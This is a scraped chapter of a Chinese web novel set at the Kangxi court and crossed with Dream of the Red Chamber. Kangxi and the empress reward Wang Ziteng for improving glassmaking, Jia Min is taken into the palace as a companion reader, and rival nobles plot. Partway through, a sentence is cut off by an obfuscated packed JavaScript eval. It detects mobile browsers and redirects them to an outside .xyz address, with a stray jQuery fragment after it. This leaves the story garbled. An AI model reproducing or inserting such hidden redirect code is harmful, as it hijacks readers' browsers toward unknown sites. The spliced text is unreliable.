默认冷灰
24号文字
方正启体

43. 贾王入宫

作者:八个柠檬本书字数:K更新时间:
    珠兰握着团扇的指尖微微收紧,扇面上的湘妃竹骨发出细微的吱呀声。


    系统数据显示王子腾此人确有能力,尤其是学习能力。而且他是新地图中的重要npc,是红楼世界盖章的有能为。


    珠兰本着不可浪费的观点,便将他从广储司又归到了新生的琉璃办,由索额图带着。不想个把月没关注,他在索额图手下竟然混成了六品主事,摘得新造玻璃如此大功。


    因他之故,珠兰对红楼梦中人的整体素质有了期待。其实不是人才少,是珠兰能直接培养的少,全指望观察点,太过浪费。


    再看康熙拧起的剑眉逐渐放松,分明是既惊且喜的神色——这位少年天子最恨臣子贪功欺骗于他,掌控欲和猜忌心都极强。


    索额图此举,倒暗合了他“赏罚分明”的帝王心术。


    “能让索三甘居人后?”康熙俯身,明黄衮服上的金龙几乎要扑到索额图脸上,“是何等人物?”


    珠兰静静看着他表演,少年人总有几分表现欲,还没有老头子那种令人捉摸不透的稳健。这几句话,几步走,跟个霸道总裁似的。


    索额图重重叩首,额头在青砖上撞出闷响,“正是奴才麾下主事王子腾!此人精研工部典籍,在调配石英与硝石比例时另辟蹊径,更改良了吹制技法...”


    他话音刚落,珠兰已轻笑出声,腕间东珠十八子随动作相撞,叮咚声清脆如琉璃相击,“这王子腾是金陵人,自己有家传的爵位,居然还从金陵而来,专门考上广储司谋了个缺去,在内务府大小也是个名人。对了,听说他家与那贾代善家有些老辈姻亲关系。不想,此人居然研究巧技,倒也稀奇。”


    康熙心中暗叹,这王家两代当家人接连逝去,这个少年想来与那袭爵的贾赦岁数相仿。那贾赦至今不曾有任何突出之处,这王子腾已经能为朕赚钱,不,分忧了。


    皇帝心中一片火热,全是将内造琉璃卖到天下的雄心壮志。他这爱财属性点珠兰可没加,但在她接连不断的灌输、影响之下,聪慧的帝王自己领悟了经济与庙堂的关系。


    这王子腾还真就是凭借自己的本事,涨的数值。珠兰早先没发现他的工程类数值突破70,只能说他是真苦学了,在没有观察点灌注的情况下自己突破了。这样的人才,看看忠诚值,嗯,在内务府整体数值高的情况下,他的数值也超过60了。这就是集体和体系,对个人的影响。


    说起集体,珠兰转而想起她家那个抢来的秘密结社,翻云会也随着河道衙门南下了,寿春与富春两名超级武林高手跟了去,还让葛布喇神来一笔送去一个爱民值极高的反贼杨期。想来姑苏那边,也会热闹很久。


    她还不知道,自家那些掌柜的庄头们拿了葛布喇的名帖,送了不少二掌柜、账房、伙计去河道衙门当文书,一方面是协助寿春姑娘行事,一方面是配合开拓南边市场。


    这个开拓可能不太准确,应该是抢夺就对了。


    殿内空气骤然凝滞,康熙直起身子,目光在珠兰神游天外的脸庞与索额图低垂的脑袋间游移。


    他忽然想起葛布喇在平定鳌拜时,也是这般将头功让与佟国纲——赫舍里氏一门,倒真是都这么个楞脾气。这功劳先给皇后和索额图记下,等琉璃卖的像蜂窝煤似的了,再一起算。


    “传王子腾即刻入宫!”康熙甩袖,龙袍带起的风恰巧掀翻了琉璃方砖,那晶莹的物件在地面打着旋儿,折射出满屋晃动的七彩光影,恰似此刻殿中暗潮涌动的君臣心思。


    暮春的紫禁城飘着柳絮,史氏攥着贾敏的小手进入大内,素衣的下摆扫过青砖缝里钻出的嫩草。


    八岁的贾敏垂着头,绣着两只小黄鹂的鞋面在阴影与光斑间交替,她像只受惊的鹌鹑,压根不敢抬眼。引路太监手中的铜灯竿笃笃叩地,惊起檐角两只灰鸽,扑棱棱的振翅声让贾敏瑟缩着往母亲裙边躲。


    转过内务府衙门的垂花门时,忽见一道藏青身影疾步而出。


    史氏下意识拢紧女儿,却见那人一身内务府主事打扮,浑身带着遮掩不住的喜气——竟是王子腾!他官袍下摆还沾着点窑灰,手中抱着的木匣隐约透出琉璃光泽,显然刚从造办处出来。


    “见过史夫人!”王子腾骤然止步行礼,乌靴在青石板上擦出声响。他望着史氏鬓边素银簪,又瞥向躲在她身后的贾敏,眼中闪过一丝异色。


    在他考入内务府前,金陵四大家族都在走下坡路。此刻见史氏带着幼女入宫,心中暗自思量:这守寡的国公夫人,倒比那装病避世的贾代善世伯通透。


    史氏点头,“王大人升任要职,可喜可贺。”


    贾敏学着大人的样子屈膝,鸦青发辫扫过素色裙摆。


    王子腾赶忙拱手,目光扫过内务府新换的朱漆匾额——那是皇后改制后新题的,鎏金大字在阳光下刺得人睁不开眼。


    “托了皇后娘娘的鸿福。”王子腾笑道,将木匣往怀里按了按,“如今,总该往前看。”他这话似有所指,史氏心中一凛,想起丈夫临终前仍在叮嘱“莫要出头”的遗言,不由得攥紧了女儿的手。


    两队人错身而过时,王子腾匆匆往乾清宫方向去了,官靴踏碎满地柳絮。


    史氏望着他远去的背影,耳畔似乎又响起那日下人传来的消息:王子腾在琉璃窑厂连熬三昼夜,亲手改良出能与西洋媲美的玻璃。


    她低头看向贾敏懵懂的小脸,忽然生出几分不甘——若代善当年有这般闯劲,贾家何至于如今门庭冷落?


    慈宁宫的铜铃在风中叮咚作响,惊破了史氏的思绪。她深吸一口气,牵着女儿往宫门走去。


    慈宁宫内,博古架上的宣德炉正飘着袅袅檀香,太皇太后半倚在铺着软缎的榻上,手中摩挲着一串念珠。


    苏麻喇姑轻手轻脚掀起珠帘,福了福身,轻声禀道:“格格,史睍带着小娘子到了,正在偏殿候着呢。”话音轻柔,却让太皇太后手中的念珠微微一顿,浑浊的眼眸中泛起几分追忆之色,似是想起了多年前那个灵动干练的女子,如今却已守了寡......


    按祖制,皇后本应避见外臣,然乾清宫的鎏金兽首烛台却映出帝后并肩的身影。


    自康熙将内务府之权交予珠兰,养心殿的朱漆门便常向内务府官吏洞开——那些沾着煤屑的奏折、裹着琉璃配方的密函,早已模糊了后宫与前朝的界限。


    太皇太后与太后都不说话,后宫中便没有皇后娘娘之外的第二种声音。


    前朝,皇帝压根不听大臣的。


    当索额图呈上琉璃窑厂的捷报时,康熙摩挲着明黄绫裱的奏本,烛火在他眼底跳跃成两簇金芒。


    蜂窝煤三月盈利五十万两的震撼尚未消退,这剔透如冰的琉璃又撕开西洋奇货的垄断。


    “皇后总给朕惊喜。”他忽然转头,望着珠兰鬓边摇曳的点翠步摇,那是他送皇后的一套头面里拆出来的,她带着十分合宜。“此番召见琉璃功臣,你且同朕一道。”


    主子话音刚落,梁九功便明白了,立即高声传唤。


    当王子腾局促的脚步声在丹陛外响起时,康熙望向珠兰,笑的真情实谊,仿佛夫妻情十足。


    珠兰也看了过来,奈何皇帝一点亲密度没涨。


    龙袍与翟衣相携而行的身影落在青砖上,宛如绘就一幅帝与后的和谐图景——这不仅是对能臣的嘉奖,更是向朝野昭示:能屡次捧出"金凤凰"的皇后,已成为帝王不可或缺的臂膀。


    乾清宫蟠龙柱下,王子腾的膝盖几乎要陷进厚重的波斯地毯。他垂着头,少年脊背绷得笔直,随呼吸微微起伏。这不过十七八岁的少年,面对明黄龙帐下的帝后,喉结不住地滚动。


    “奴才...奴才内务府琉璃造办处主事王子腾,叩见皇上,叩见皇后娘娘!”他的声音带着沙哑,行礼时腰间玉佩撞出细碎声响。


    想起年前还在金陵老宅翻《天工开物》的自己,此刻竟能有幸跪在这里——父亲早逝后,子爵爵位降等承袭,空有金山银山却无实职傍身,族人只知自家富贵,不晓得没了靠山,富贵要命。还有两个妹妹的内务府小选,更如悬在头顶的利剑。父亲早逝,两个妹妹都是他与夫人带着,情谊不可与寻常人家相提并论。


    珠兰端坐,见这少年局促的模样,这就是王子腾了,王熙凤的父亲。想来王熙凤还是个小孩子,或者还没出生。此刻距离红楼开篇还很远呀,她轻抬护甲,“听闻琉璃之术,是你另辟蹊径?”


    皇上主子对皇后主子娘娘先发问,没有丝毫不悦。梁九功收回视线,心中想着将来。


    王子腾猛地叩首,额头撞在青砖上发出闷响,“回皇后娘娘!奴才自幼痴迷机巧之术,入内务府后,见《远西奇器图说》中琉璃制法,便日夜琢磨改良...”他忽然顿住,意识到自己竟在御前说得忘形,慌忙又补了个大礼。


    康熙饶有兴致地打量这个浑身透着青涩的少年,想起索额图那句“此子如璞玉”。皇家最不缺攀附之臣,这般纯粹痴迷技艺的倒少见,“你既擅此道,朕便命你司琉璃窑厂经营事宜,且做个郎中吧。日后,若能让西洋人无利可图...”皇帝故意顿住,见少年半低着头,眼中突然燃起炽热的光,不禁抚掌大笑。


    阶下的王子腾却已听不见笑声,他盯着御案边缘折射出的琉璃彩光,恍惚看见妹妹们为不用套上宫女素服而欣喜,看见王家祠堂的牌位前终于能再摆上天家赐予实职的文书。喉间涌上的血气让他强行咽下,再度叩首时,额角已渗出细密的血珠——这乾清宫的地砖,终是被他跪出了一条生路。


    乾清宫鎏金兽首烛台摇曳着明黄光晕,珠兰垂眸望着少年王子腾,其实是在看系统面板中此人不断上涨的忠诚值。六品主事,到五品郎中。这个郎中,虽然品级不高,但可以转任外朝了,


    康熙瞥见皇后若有所思的神色,朗笑出声,“皇后瞧这少年人,倒比索三举荐时所说的更显局促!”


    他指节轻叩御案,扳指撞出清脆声响,“如此人才,朕若不赏,倒显得小气了。梓潼觉得,如何赏赐于他更好。”


    珠兰唇角微扬,“皇上不如问问他,想要什么?”她特意扫过王子腾紧绷的后颈,这少年的两个妹妹,一个该许配给荣国府二老爷政,一个会嫁入皇商薛家。若任其参选宫女,日后姻缘恐生变数,那金陵十二钗就见不到了,若是少了主角,没了点数可怎么整。


    今日见这王子腾,系统面板显示红楼新地图已开四分之一。


    “奴才...奴才斗胆求恳!”王子腾猛地匍匐在地,眼中竟然泛起血丝,“奴才两个妹妹体弱多病、容貌粗陋,实在不堪侍奉贵人!恳请陛下开恩,免去她们内务府小选!”他额头重重砸在金砖上,声音里带着破釜沉舟的决然。这一求,等于亲手斩断了王家攀附皇室的捷径。


    康熙闻言挑眉,与珠兰对视一眼。少年单薄的脊背在龙纹地毯上投下细小的影子,却让他想起索额图前日将琉璃功劳尽数让出时的坦荡,想起葛布喇对索额图、心裕的友爱。


    这王氏子虽无煊赫家世,却与赫舍里氏兄弟般,将手足情谊置于仕途青云之上。


    珠兰垂眸听着康熙与王子腾的问答,王氏与贾氏本是金陵同乡,当年与那史氏、薛氏一起举家投奔关外,在白山黑水间挣下出身,又一同从龙入关,用血肉之躯换得军功。


    相较贾代善在朝堂上的站错队表错情,王子腾之父早逝反成了转机。


    当两黄旗与两白旗的站队风波席卷朝野时,王家意外避开了这场漩涡,虽只得了个中等伯爵,却也因祸得福。


    如今爵位降为子爵,比承袭轻车都尉的贾赦也整整高出两等。


    这微妙的位阶差,恰似两族命运的分水岭——一个在老宅装病避世,一个却在琉璃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970988|173504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    窑火中烧出了新前程。百年世家的兴衰,终究应了那句老话——莫欺少年穷,守旧不如迎新。


    “好个手足情深!”皇帝抚掌大笑,明黄龙袍扫过御案边缘,“准了!不仅免选,再赐你妹妹每人千两嫁妆!”


    赏赐不多,却是御赐,这个意头非同凡响。


    珠兰望着王子腾惊愕抬头的模样,补了一句,“既然免了小选,你回家后便当聘请名师教育你的两个妹妹,莫要辱没了皇上赐予的嫁妆。”宫女不识字,是内务府不成文的定例。一般包衣人家,都不会教女儿识文断字。


    王子腾哽咽叩首,这道恩典不仅解锁了王家姐妹的命运,更让眼前这个少年,从此彻底成了帝后掌心的利刃。


    康熙诧异的看向珠兰,想着皇后定是因朕平日偏爱有文气的姑娘,这才特意叮嘱的王子腾,皇后总是这样爱朕。


    不过朕确实没有让王氏姐妹入宫的念头,毕竟这王子腾长的还没朕自己好看,他的妹妹就指婚出去好了,金陵那四家不是爱联姻么,就其他三家里相看吧。


    皇帝在与王子腾叙话时,梁九功给换了一面王子腾带来的高清玻璃镜子,皇帝抽空看了一眼。


    哟呵,朕长这个模样啊。


    系统显示,王子腾的忠诚度已攀升至85,比索额图的还高。


    终归是少年人好骗……


    这少年人还喜欢提拔亲戚,这是个好消息。珠兰看着系统,薛家也是王氏的老辈姻亲人家,还是个皇商,不愁见不到了。


    暮春的阳光透过慈宁宫雕花窗棂,在金砖地面投下斑驳光影。


    史夫人牵着八岁的贾敏踏入殿内,素衣的下摆扫过冰凉的青砖,母女二人如同两株误入金殿的寒梅,在檀香萦绕的华贵气息中显得格格不入。


    “奴才史睍,携小女贾敏,叩见太皇太后!”话音未落,额头已重重触地,贾敏亦学着母亲的模样,怯生生地伏下身子,鸦青发辫垂落如墨缎。


    “快起来,赐座。”太皇太后拄着雕花紫檀杖,浑浊的目光掠过史睍鬓边的素银簪,苍老的声音里带着几分感慨。


    宫人即刻搬来绣墩,史睍却只敢挨着半面坐下,膝头绞着的素绢早已被攥出细密的褶皱。贾敏则垂眸立在母亲身侧,纤薄的肩膀微微瑟缩,两弯似蹙非蹙的笼烟眉下,一双含情目怯生生地盯着自己的鞋面,仿佛那里藏着整个世界的安全感。


    “还记得当年你们带着玄烨出宫避痘的日子...”太皇太后摩挲着扶手,记忆的闸门被缓缓拉开,“你和孙湘在庄子里日夜守着,每夜都要起来查看十几次,生怕有个闪失。”她的声音渐渐哽咽,殿内众人皆屏息凝神。


    史睍听得眼眶泛红,往事如潮水般涌上心头——当年若不是贾代善以家中幼子需人照料为由,执意要她离宫,她又怎会只做了短短两年皇子保姆?也正因如此,康熙对孙氏的深厚情谊人尽皆知,而对她,却始终只是维持着面上的恭敬。抬旗,念叨了一辈子,爵位没了,还进了汉军旗。


    史睍心中一动,想起方才在内务府门前偶遇意气风发的王子腾。那个同样出身金陵旧族的年轻人,凭借着琉璃窑的功绩崭露头角,虽说也不是科举正途,但与自家两个文不成武不就、只知守着祖荫的儿子足以形成鲜明对比。她咬了咬唇,原本到嘴边的“求太皇太后为赦、政兄弟谋个前程”的话,硬生生咽了回去。


    史睍与太皇太后追忆过往,又说现在。“娘娘,敏儿这丫头自小就聪慧。”她轻抚贾敏的发顶,语气中满是骄傲,“三岁便能背《女诫》《论语》,前日还缠着塾师问《列女传》里的典故,非得弄明白缇萦救父的缘由不可。”说着,她轻轻推了推女儿,“敏儿,快给太皇太后背一段。”


    贾敏怯生生地抬起头,雪色的肌肤在阳光下泛着珍珠般的光泽,一双含情目仿佛藏着江南的烟雨,轻声背诵起来。


    太皇太后原本微阖的眼睛蓦地一亮,招手唤道:“乖孩子,近前来让哀家瞧瞧。”这孩子年纪小了些,但是养两年……


    贾敏莲步轻移,单薄的身影在光影中摇曳,恍若弱柳扶风,端的是我见犹怜。


    “倒是个灵透的!”太皇太后满意地点点头,转头对内侍道,“去叫端敏过来,就说哀家这儿有个有趣的小客人。”


    不多时,端敏格格踩着花盆底鞋款步而入。她身着镶金线的旗装,气质华贵而疏离。在见到贾敏的瞬间眼前一亮——那少女身姿婀娜,眉眼间似有万种风情,欲说还休的神态,活脱脱是从画中走出来的江南仕女。人与人之间,有些时候就是看着顺眼不顺眼。


    “你整日在宫里闷着,正好有个伶俐妹妹陪着解闷。”太皇太后慈爱地拉过贾敏的小手,“不如就留在宫里,给你做个伴读。”


    史睍心中猛地一震,反应过来后立刻拉着贾敏跪地谢恩:“奴才与敏儿谢过太皇太后恩典!”


    端敏格格亲自上前搀起贾敏,指尖触到少女纤细的手腕,只觉温软如春水。望着贾敏低垂的眼睫在脸颊投下蝶翼般的阴影,她心中暗想:有这样灵秀的伴读在侧,身边也能添彩三分。


    某处勋贵府邸


    “阿玛,咱家与赫舍里家还有亲,这般算计是为何?”


    “小兔崽子,你当蜂窝煤是怎么来的,没听说内务府又新出了净透的琉璃吗?再这么下去,朝中葛布喇一家独大还不够,京里也要挤兑的咱们要没地方站了。有亲如何,也没见索额图知道上门孝敬。”


    “那咱们找那明日黄花的老头子作甚,那个老奴才心思可不正,当初跟着鳌拜没少给咱添堵心。”


    “赫舍里该回归后宫争宠的正确路途了,总在前朝霍霍咱们不好。一毛不拔的内务府,不是好内务府。索尼不知道管束儿子,咱们得教教他懂事。”


    “哦。”


    “对了,阿玛,我听说江南甄氏有一女,倾国倾城。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)